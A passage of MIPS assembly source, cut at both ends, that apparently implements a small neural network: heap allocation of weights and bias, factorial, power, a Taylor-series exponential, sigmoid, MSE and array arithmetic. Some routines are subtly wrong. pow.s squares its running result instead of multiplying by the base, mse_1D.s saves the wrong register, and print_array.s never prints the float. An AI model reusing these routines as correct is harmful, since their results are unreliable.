addi $t0, $s5, 0 #Create counter_loop li $t1, 0 #Create counter_array_data li $t2, 0 #Create counter_array_heap li $t3, 0 #Starting position of array in .data la $t4, weights #Starting position of array in heap jal get_address_of_weights addi $t5, $v0, 0 alloc_weights_loop: #If counter_loop == size_of_array beq $t1, $t0, alloc_weights_loop_end #Else: #Get current position in the array_data addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t4 #Get current position in the array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Load the value of the array_data into $f15 l.s $f15, 0($t2) #Store the value of $f15 into current array_heap position s.s $f15, 0($t3) #Increment counter_loop and recall loop addi $t1, $t1, 1 j alloc_weights_loop alloc_weights_loop_end: #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # alloc_bias # ################################################################################################# # Allocate in the Heap the bias from the .data as specified in the Heap Map # # # # Parameters: # # # # Returns: # # # ################################################################################################# alloc_bias: #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) #Save size_of_array in $t0 addi $t0, $zero, 1 #Create counter_loop li $t1, 0 #Create counter_array_data li $t2, 0 #Create counter_array_heap li $t3, 0 #Starting position of array in .data la $t4, bias #Starting position of array in heap jal get_address_of_bias addi $t5, $v0, 0 alloc_bias_loop: #If counter_loop == size_of_array beq $t1, $t0, alloc_bias_loop_end #Else: #Get current position in the array_data addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t4 #Get current position in the array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Load the value of the array_data into $f15 l.s $f15, 0($t2) #Store the value of $f15 into current array_heap position s.s $f15, 0($t3) #Increment counter_loop and recall loop addi $t1, $t1, 1 j alloc_bias_loop alloc_bias_loop_end: #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # internal functions # ################################################################################################# # factorial: ($a0) => ($v0) # # factorial_minus_1: ($a0) => ($f0) # # generate_taylor_coeffs: ($a0, $a1) # # pow.s: ($f1, $a0) => ($f0) # # centered_pow.s: ($f1, $f2, $a0) => ($f0) # # taylor_of_exp.s:*** ($f1) => ($f0) # # sigmoid.s: ($f1) => ($f0) # # sigmoid_array.s: ($a0, $a1, $a2) # # sigmoid_der_array.s: ($a0, $a1, $a2) # # sigmoid_der_array_on_sigmoid_array.s: ($a0, $a1, $a2) # # print_array.s: ($a0, $a1) # # dot_1D.s ($a0, $a1, $a2) => ($f0) # # mse_1D.s ($a0, $a1, $a2) => ($f0) # # mul_1D.s ($a0, $a1, $a2, $a3) # # div_1D.s ($a0, $a1, $a2, $a3) # # add_1D.s ($a0, $a1, $a2, $a3) # # sub_1D.s ($a0, $a1, $a2, $a3) # # mul_const_1D.s ($a0, $f1, $a2, $a3) # # div_const_1D.s ($a0, $f1, $a2, $a3) # # add_const_1D.s ($a0, $f1, $a2, $a3) # # sub_const_1D.s ($a0, $f1, $a2, $a3) # # # # ***: uses global value # ################################################################################################# ################################################################################################# # generate_taylor_coeffs # ################################################################################################# # Takes the address of the array, its size (the precision value) and generate (precision) # # number of coeffs and stores them inside the array # # # # Parameters: # # $a0: address of the array # # $a1: number of coeffs # # Returns: # # # ################################################################################################# generate_taylor_coeffs: #TODO: Should add error checking #Store the current $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) #Save precision in $t7 addi $t0, $a1, 0 #Create counter_loop li $t1, 0 #Create counter_array li $t2, 0 #Store starting position of memory addi $t3, $a0, 0 generate_taylor_coeffs_loop: #If counter_loop == precision beq $t1, $t0, generate_taylor_coeffs_loop_end #Else: #Get current position in the heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t3 #Get factorial of counter_loop #Set the param addi $a0, $t1, 0 #Call the function jal factorial_minus_1 #Store the float from $f0 to heap #Move $f0 to $t4 mfc1 $t4, $f0 #Store $t4 to heap sw $t4, 0($t2) #Increment counter and recall loop addi $t1, $t1, 1 j generate_taylor_coeffs_loop generate_taylor_coeffs_loop_end: #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # factorial # ################################################################################################# # Takes an integer and computes n! # # # # Parameters: # # $a0: an integer # # # # Returns: # # $v0: n! # ################################################################################################# factorial: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) ########################### #If $a0 is equal to zero => 1 beq $a0, $zero, factorial_return_1 #Else: #Load the putput with 1 li $v0, 1 #Create counter_loop li $t0, 1 factorial_loop: #If the counter is greater than $a0 bgt $t0, $a0, factorial_loop_end #Else: #Multiply $vo with the counter mul $v0, $v0, $t0 #Increase the counter_loop addi $t0, $t0, 1 j factorial_loop factorial_loop_end: ########################### #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra factorial_return_1: li $v0, 1 ########################### #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # factorial_minus_1 # ################################################################################################# # Takes an integer and computes 1/(n!) # # # # Parameters: # # $a0: an integer # # # # Returns: # # $f0: 1/(n!) # ################################################################################################# factorial_minus_1: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) ########################### #Get factorial of n jal factorial #Store the factorial from $v0 addi $t0, $v0, 0 #Move $t0 to $f15 of the coproc1 mtc1 $t0, $f15 #Convert it to float cvt.s.w $f15, $f15 #In $f0 save (1.0 / $f15) div.s $f0, $f30, $f15 ########################### #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # pow.s # ################################################################################################# # Take a float and an integer and return (float) ^ (int) # # # # Parameters: # # $f1: a single percision float # # $a0: an integer # # # # Returns: # # $f0: ($f1)^$a0 # ################################################################################################# pow.s: #If $a0 == 0 beq $a0, $zero, pow.s_return_1 #Else if $a0 < 0: blt $a0, $zero, pow.s_neg ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) ########################### #Create a counter_loop li $t0, 2 #Assign $f1 to $f0 add.s $f0, $f1, $f29 pow.s_loop: #If counter_loop > $a0: bgt $t0, $a0, pow.s_loop_end #Else: #Mul $f0 by $f0 and store it in $f0 mul.s $f0, $f0, $f0 #Increment counter_loop and recall loop addi $t0, $t0, 1 j pow.s_loop pow.s_loop_end: ########################### #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra pow.s_return_1: add.s $f0, $f30, $f29 jr $ra pow.s_neg: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) #li $v0, 1 #syscall #Change sign of $a0 mul $a0, $a0, $s4 #li $v0, 1 #syscall #Recall pow.s with the new $a0 jal pow.s #Divide 1 by the result of pow.s div.s $f0, $f30, $f0 #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # centered_pow.s # ################################################################################################# # Take two float (x, x0), one int and calculates (x - x0)^(int) # # # # Parameters: # # $f1: a single precision float => x # # $f2: a single precision float => center (x0) # # $a0: an integer # # # # Returns: # # $f0: ($f1 - $f2)^$a0 # ################################################################################################# centered_pow.s: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) #Get ($f1 - $f2) ^ $a0 #Store $f1 - $f2 in $f1 sub.s $f1, $f1, $f2 #Get the new $f1 ^ $a0 jal pow.s #The result is already in $f0 so: #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # taylor_of_exp.s # ################################################################################################# # Takes one float (x) and returns an approximation of e^x # # # # Parameters: # # $f1: a single precision float => x # # # # Returns: # # $f0: e^($f1) # # # # or # # $f0: taylor series with precision number of factors and centered around x0 # # Where x0 = floor of x # ################################################################################################# taylor_of_exp.s: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t7 addi $sp, $sp, -4 sw $t7, 0($sp) #Store the previous $t8 addi $sp, $sp, -4 sw $t8, 0($sp) #Store the previous $t9 addi $sp, $sp, -4 sw $t9, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) #Store the previous $f18 addi $sp, $sp, -4 s.s $f18, 0($sp) #Store the previous $f20 addi $sp, $sp, -4 s.s $f20, 0($sp) #Store the previous $f21 addi $sp, $sp, -4 s.s $f21, 0($sp) ########################### #Store $f1 inside $f15 add.s $f15, $f1, $f29 #Store floor of $f1 inside $f16 (x0) floor.w.s $f16, $f1 #Store the integer to $t9 mfc1 $t9, $f16 #addi $a0, $t9, 0 #li $v0, 1 #syscall #Convert it back to float cvt.s.w $f16, $f16 #Objective: series of beta=0 to beta=precision - 1 of (alpha_of_beta) * e^(x0) * (x - x0)^(beta) #Get e^(x0) and store it inside $f17 add.s $f1, $f31, $f29 addi $a0, $t9, 0 jal pow.s add.s $f17, $f0, $f29 #Save precision in %t7 addi $t7, $s2, 0 #Create counter_loop li $t8, 0 #Create counter_array li $t9, 0 #Set $f0 to 0 add.s $f0, $f29, $f29 #Clear $f21 add.s $f21, $f29, $f29 taylor_of_exp.s_loop: #If counter_loop == precision beq $t8, $t7, taylor_of_exp.s_loop_end #Else: #Get current position in the heap addi $t9, $t8, 0 sll $t9, $t9, 2 add $t9, $t9, $s0 #Store inside $f18 e^x0 add.s $f18, $f17, $f29 #Store the current taylor coeff inside $f20 l.s $f20, 0($t9) #Mul $f20 by $f18 and store it inside $f18 (alpha * e^(x0)) mul.s $f18, $f20, $f18 #Store centered_pow.s inside $f19 #Set parameters add.s $f1, $f15, $f29 add.s $f2, $f16, $f29 addi $a0, $t8, 0 #Get centered_pow.s jal centered_pow.s add.s $f20, $f0, $f29 #Mul $f20 by $f18 and store it inside $f18 (alpha_of_beta * e^(x0) * (x - x0)^(beta)) mul.s $f18, $f20, $f18 #Add $f18 to $f0 ($f0 = $f0 + beta order of approx) add.s $f21, $f21, $f18 #Increment counter and recall loop addi $t8, $t8, 1 j taylor_of_exp.s_loop taylor_of_exp.s_loop_end: #Move $f21 to $f0 add.s $f0, $f21, $f29 ########################### #Restore the previous $f21 l.s $f21, 0($sp) addi $sp, $sp, 4 #Restore the previous $f20 l.s $f20, 0($sp) addi $sp, $sp, 4 #Restore the previous $f18 l.s $f18, 0($sp) addi $sp, $sp, 4 #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t9 lw $t9, 0($sp) addi $sp, $sp, 4 #Restore the previous $t8 lw $t8, 0($sp) addi $sp, $sp, 4 #Restore the previous $t7 lw $t7, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # sigmoid.s # ################################################################################################# # Takes one float (x) and returns an approximation of the sigmoid(x) # # # # Parameters: # # $f1: a single precision float # # # # Returns: # # $f0: sigmoid($f1) # ################################################################################################# sigmoid.s: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) ########################### #Change sign of $f1 mul.s $f1, $f1, $f28 #Get approximation of exp($f1) (i.e.: e^(-x)) and store it inside $f15 #The parameters are already in the right place jal taylor_of_exp.s add.s $f15, $f0, $f29 #Add 1.0 to $f15 add.s $f15, $f15, $f30 #Divide 1 / ($f15) (i.e.: 1/ (1 + e^(-x))) div.s $f0, $f30, $f15 ########################### #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # sigmoid_array.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, its size # # and assign the sigmoid of the first array (element-wise) to the second array # # # # Parameters: # # $a0: address first array # # $a1: address of second array # # $a2: size of array # # # # Returns: # # # ################################################################################################# sigmoid_array.s: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t6 addi $sp, $sp, -4 sw $t6, 0($sp) ########################### #Save size_of_array in $t1 addi $t1, $a2, 0 #Create counter_loop li $t2, 0 #Create counter_first_array li $t3, 0 #Create counter_second_array li $t4, 0 #Save starting position of the first array (source) addi $t5, $a0, 0 #Save starting position of the second array (destination) addi $t6, $a1, 0 sigmoid_array.s_loop: #If counter_loop == size_of_array beq $t2, $t1, sigmoid_array.s_loop_end #Else: #Get current position in the first array_heap addi $t3, $t2, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Get current position in the second array_heap addi $t4, $t2, 0 sll $t4, $t4, 2 add $t4, $t4, $t6 #Get sigmoid of current element #Get value from the array and store it inside $f1 l.s $f1, 0($t3) jal sigmoid.s #Store the result inside the second array s.s $f0, 0($t4) #Increment counter_loop and recall loop addi $t2, $t2, 1 j sigmoid_array.s_loop sigmoid_array.s_loop_end: ########################### #Restore the previous $t6 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # sigmoid_der_array.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, its size # # and assign the derivative of the sigmoid of the first array (element-wise) # # to the second array # # # # Parameters: # # $a0: address first array # # $a1: address of second array # # $a2: size of array # # # # Returns: # # # ################################################################################################# sigmoid_der_array.s: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t6 addi $sp, $sp, -4 sw $t6, 0($sp) #Store the previous $f22 addi $sp, $sp, -4 s.s $f22, 0($sp) #Store the previous $f23 addi $sp, $sp, -4 s.s $f23, 0($sp) ########################### #Save size_of_array in $t1 addi $t1, $a2, 0 #Create counter_loop li $t2, 0 #Create counter_first_array li $t3, 0 #Create counter_second_array li $t4, 0 #Save starting position of the first array (source) addi $t5, $a0, 0 #Save starting position of the second array (destination) addi $t6, $a1, 0 sigmoid_der_array.s_loop: #If counter_loop == size_of_array beq $t2, $t1, sigmoid_der_array.s_loop_end #Else: #Get current position in the first array_heap addi $t3, $t2, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Get current position in the second array_heap addi $t4, $t2, 0 sll $t4, $t4, 2 add $t4, $t4, $t6 #Get sigmoid of current element #Get value from the first array and store it inside $f1 l.s $f1, 0($t3) jal sigmoid.s #Store the result inside $f22 add.s $f22, $f0, $f29 #Subtract the sigmoid from 1 and store it inside $f23 sub.s $f23, $f30, $f22 #Mul $f22 by $f23 and store it inside $f22 mul.s $f22, $f22, $f23 #Store the result inside the second array s.s $f22, 0($t4) #Increment counter_loop and recall loop addi $t2, $t2, 1 j sigmoid_der_array.s_loop sigmoid_der_array.s_loop_end: ########################### #Restore the previous $f23 l.s $f23, 0($sp) addi $sp, $sp, 4 #Restore the previous $f22 l.s $f22, 0($sp) addi $sp, $sp, 4 #Restore the previous $t6 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # sigmoid_der_array_on_sigmoid_array.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, its size # # and assign the derivative of the sigmoid of the first array (element-wise) # # to the second array # # # # IT ASSUMES THE FIRST ARRAY ALREADY HAS THE SIGMOID STORED # # # # Parameters: # # $a0: address first array # # $a1: address of second array # # $a2: size of array # # # # Returns: # # # ################################################################################################# sigmoid_der_array_on_sigmoid_array.s: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t6 addi $sp, $sp, -4 sw $t6, 0($sp) #Store the previous $f22 addi $sp, $sp, -4 s.s $f22, 0($sp) #Store the previous $f23 addi $sp, $sp, -4 s.s $f23, 0($sp) ########################### #Save size_of_array in $t1 addi $t1, $a2, 0 #Create counter_loop li $t2, 0 #Create counter_first_array li $t3, 0 #Create counter_second_array li $t4, 0 #Save starting position of the first array (source) addi $t5, $a0, 0 #Save starting position of the second array (destination) addi $t6, $a1, 0 sigmoid_der_array_on_sigmoid_array.s_loop: #If counter_loop == size_of_array beq $t2, $t1, sigmoid_der_array_on_sigmoid_array.s_loop_end #Else: #Get current position in the first array_heap addi $t3, $t2, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Get current position in the second array_heap addi $t4, $t2, 0 sll $t4, $t4, 2 add $t4, $t4, $t6 #Get sigmoid of current element #Get value from the first array and store it inside $f22 l.s $f22, 0($t3) #Subtract the sigmoid from 1 and store it inside $f23 sub.s $f23, $f30, $f22 #Mul $f22 by $f23 and store it inside $f22 mul.s $f22, $f22, $f23 #Store the result inside the second array s.s $f22, 0($t4) #Increment counter_loop and recall loop addi $t2, $t2, 1 j sigmoid_der_array_on_sigmoid_array.s_loop sigmoid_der_array_on_sigmoid_array.s_loop_end: ########################### #Restore the previous $f23 l.s $f23, 0($sp) addi $sp, $sp, 4 #Restore the previous $f22 l.s $f22, 0($sp) addi $sp, $sp, 4 #Restore the previous $t6 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # print_array.s # ################################################################################################# # Takes the address of the array, its size and prints the stored values # # # # Parameters: # # $a0: address of the array # # $a1: size of the array # # # # Returns: # # # ################################################################################################# print_array.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) ########################### #Save size_of_array in $t0 addi $t0, $a1, 0 #Create counter_loop li $t1, 0 #Create counter_array li $t2, 0 print_array.s_loop: #If counter_loop == size_of_array beq $t1, $t0, print_array.s_loop_end #Else: #Get current position in the heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $a0 #Set syscall instruction for float print li $v0, 2 #Load the value to $f12 l.s $f12, 0($t2) #Execute print syscall #Store the original $a0 in stack addi $sp, $sp, -4 sw $a0, 0($sp) #Print new-line li $v0, 4 la $a0, nl syscall #Restore original $a0 lw $a0, 0($sp) addi $sp, $sp, 4 #Increment counter_loop and recall loop addi $t1, $t1, 1 j print_array.s_loop print_array.s_loop_end: ########################### #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # dot_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, their size # # and calculates the dot product between the first array and the transposed of the second # # # # Parameters: # # $a0: address first array # # $a1: address of second array # # $a2: size of array # # # # Returns: # # $f0: result of the dot product $a0 * ($a1)^T # ################################################################################################# dot_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a2, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Save starting position of the first array (source) addi $t4, $a0, 0 #Save starting position of the second array (destination) addi $t5, $a1, 0 #Set $f0 to 0 add.s $f0, $f29, $f29 dot_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, dot_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t4 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Calculate the product between the two current values #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Get value from the second array and store it inside $f16 l.s $f16, 0($t3) #Do the product and save it inside $f17 mul.s $f17, $f15, $f16 #Add the previous result to $f0 add.s $f0, $f0, $f17 #Increment counter_loop and recall loop addi $t1, $t1, 1 j dot_1D.s_loop dot_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### jr $ra ################################################################################################# # mse_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, their size # # and calculates the MSE of the first array and the second array where the first is the # # ground-truth and the second is the prediction # # # # Parameters: # # $a0: address first array => y_true # # $a1: address of second array => y_pred # # $a2: size of array # # # # Returns: # # $f0: result of the MSE between second_array and first_array # # i.e.: mean of (y_pred - y_true)^2 # ################################################################################################# mse_1D.s: #Store this function's $ra in stack addi $sp, $sp, -4 sw $ra, 0($sp) ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t6, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) #Store the previous $f18 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t1, $a2, 0 #Create counter_loop li $t2, 0 #Create counter_first_array li $t3, 0 #Create counter_second_array li $t4, 0 #Save starting position of the first array (source) addi $t5, $a0, 0 #Save starting position of the second array (destination) addi $t6, $a1, 0 #Set $f17 to 0 add.s $f17, $f29, $f29 mse_1D.s_loop: #If counter_loop == size_of_array beq $t2, $t1, mse_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t3, $t2, 0 sll $t3, $t3, 2 add $t3, $t3, $t5 #Get current position in the second array_heap addi $t4, $t2, 0 sll $t4, $t4, 2 add $t4, $t4, $t6 #Calculate (second_array - first_array)^2 #Get value from the first array and store it inside $f15 l.s $f15, 0($t3) #Get value from the second array and store it inside $f16 l.s $f16, 0($t4) #We can call the centered_pow.s with first_array as center #$t0 is in use by pow.s add.s $f1, $f16, $f29 add.s $f2, $f15, $f29 addi $a0, $zero, 2 jal centered_pow.s #Sum the result with $f17 add.s $f17, $f17, $f0 #Increment counter_loop and recall loop addi $t2, $t2, 1 j mse_1D.s_loop mse_1D.s_loop_end: #Move $t1 to $f18 and convert it to float mtc1 $t1, $f18 cvt.s.w $f18, $f18 #Divide the summation in $f17 by size _of_array div.s $f17, $f17, $f18 #Store the result in $f0 add.s $f0, $f17, $f29 ########################### #Restore the previous $f18 l.s $f18, 0($sp) addi $sp, $sp, 4 #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw $t4, 0($sp) addi $sp, $sp, 4 #Restore the previous $t3 lw $t3, 0($sp) addi $sp, $sp, 4 #Restore the previous $t2 lw $t2, 0($sp) addi $sp, $sp, 4 #Restore the previous $t1 lw $t1, 0($sp) addi $sp, $sp, 4 #Restore the previous $t0 lw $t0, 0($sp) addi $sp, $sp, 4 ########################### #Load the old $ra and return lw $ra, 0($sp) addi $sp, $sp, 4 jr $ra ################################################################################################# # mul_1D.s # ################################################################################################# # Takes the address of the array, the address of a second array of the same size, # # the destination array, their size and calculates the element-wise mul between the first array # # and the second and stores it inside the third # # # # Parameters: # # $a0: address first array # # $a1: address of second array # # $a2: address of third array # # $a3: size of array # # # # Returns: # # # ################################################################################################# mul_1D.s: ########################### #Store the previous $t0 addi $sp, $sp, -4 sw $t0, 0($sp) #Store the previous $t1 addi $sp, $sp, -4 sw $t1, 0($sp) #Store the previous $t2 addi $sp, $sp, -4 sw $t2, 0($sp) #Store the previous $t3 addi $sp, $sp, -4 sw $t3, 0($sp) #Store the previous $t4 addi $sp, $sp, -4 sw $t4, 0($sp) #Store the previous $t5 addi $sp, $sp, -4 sw $t5, 0($sp) #Store the previous $t6 addi $sp, $sp, -4 sw $t6, 0($sp) #Store the previous $t7 addi $sp, $sp, -4 sw $t7, 0($sp) #Store the previous $f15 addi $sp, $sp, -4 s.s $f15, 0($sp) #Store the previous $f16 addi $sp, $sp, -4 s.s $f16, 0($sp) #Store the previous $f17 addi $sp, $sp, -4 s.s $f17, 0($sp) ########################### #Save size_of_array in $t1 addi $t0, $a3, 0 #Create counter_loop li $t1, 0 #Create counter_first_array li $t2, 0 #Create counter_second_array li $t3, 0 #Create counter_third_array li $t3, 0 #Save starting position of the first array addi $t5, $a0, 0 #Save starting position of the second array addi $t6, $a1, 0 #Save starting position of the third array (destination) addi $t7, $a2, 0 mul_1D.s_loop: #If counter_loop == size_of_array beq $t1, $t0, mul_1D.s_loop_end #Else: #Get current position in the first array_heap addi $t2, $t1, 0 sll $t2, $t2, 2 add $t2, $t2, $t5 #Get current position in the second array_heap addi $t3, $t1, 0 sll $t3, $t3, 2 add $t3, $t3, $t6 #Get current position in the third array_heap addi $t4, $t1, 0 sll $t4, $t4, 2 add $t4, $t4, $t7 #Calculate the product between the two current values #Get value from the first array and store it inside $f15 l.s $f15, 0($t2) #Get value from the second array and store it inside $f16 l.s $f16, 0($t3) #Do the difference and save it inside $f17 mul.s $f17, $f15, $f16 #Store the value inside the third array s.s $f17, 0($t4) #Increment counter_loop and recall loop addi $t1, $t1, 1 j mul_1D.s_loop mul_1D.s_loop_end: ########################### #Restore the previous $f17 l.s $f17, 0($sp) addi $sp, $sp, 4 #Restore the previous $f16 l.s $f16, 0($sp) addi $sp, $sp, 4 #Restore the previous $f15 l.s $f15, 0($sp) addi $sp, $sp, 4 #Restore the previous $t7 lw $t7, 0($sp) addi $sp, $sp, 4 #Restore the previous $t6 lw $t6, 0($sp) addi $sp, $sp, 4 #Restore the previous $t5 lw $t5, 0($sp) addi $sp, $sp, 4 #Restore the previous $t4 lw 